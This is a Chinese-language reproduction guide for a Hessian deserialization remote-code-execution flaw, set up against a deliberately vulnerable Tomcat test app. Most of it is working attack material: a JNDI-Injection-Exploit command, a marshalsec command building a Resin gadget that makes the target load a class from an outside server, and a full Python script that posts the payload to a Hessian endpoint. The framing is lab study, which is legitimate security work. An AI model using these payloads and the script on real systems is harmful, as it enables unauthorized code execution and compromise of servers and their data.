漏洞简介
Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能。 相比WebService,Hessian更简单、快捷。采用的是二进制RPC协议,因为采用的是二进制协议,所以它很适合于发送二进制数据。
和Java原生的序列化对比,Hessian更加高效并且非常适合二进制数据传输。既然是一个序列化/反序列化框架,Hessian同样存在反序列化漏洞的问题。
对于Hessian反序列化漏洞的利用,使用ysoserial工具的Gadget是无法成功的,而是要用marshalsec工具的Gadget。这是因为ysoserial是针对Java原生反序列化漏洞的,并没有一些如Hessian等非Java原生反序列化漏洞的Gadgets。
环境搭建
https://github.com/wlj-debug/Hessian-Deserialize-RCE
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat
启动tomcat
访问:/HessianTest/hessian
漏洞搭建成功
漏洞复现
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A xx.xx.xx.xx
直接用marshalsec来生成payload,这里地址指定为JettyServer并在指定恶意执行类为ExecTemplateJDK7:
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://xxx.xxx.xxx.xxx:8180/ ExecTemplateJDK7>hession
接下来就是编写脚本将序列化的payload:hession发送到服务器
#!/usr/bin/env python
# coding=utf-8
# code by 21superman
# Date 2018年12月28日
import requests
import argparse
def load(name):
header=b'\x63\x02\x00\x48\x00\x04'+b'test'
with open(name,'rb') as f:
return header+f.read()
def send(url,payload):
proxies = {'http':'127.0.0.1:8080'}
headers={'Content-Type':'x-application/hessian'}
data=payload
res=requests.post(url,headers=headers,data=data)
return res.text
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")
parser.add_argument("-p",help="payload file")
args = parser.parse_args()
if args.u==None or args.p==None:
print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')
else:
send(args.u, load(args.p))
if __name__ == '__main__':
main()
#load('hession')
python3 hessian.py -u http://172.21.1.130:8080/HessianTest/hessian -p hession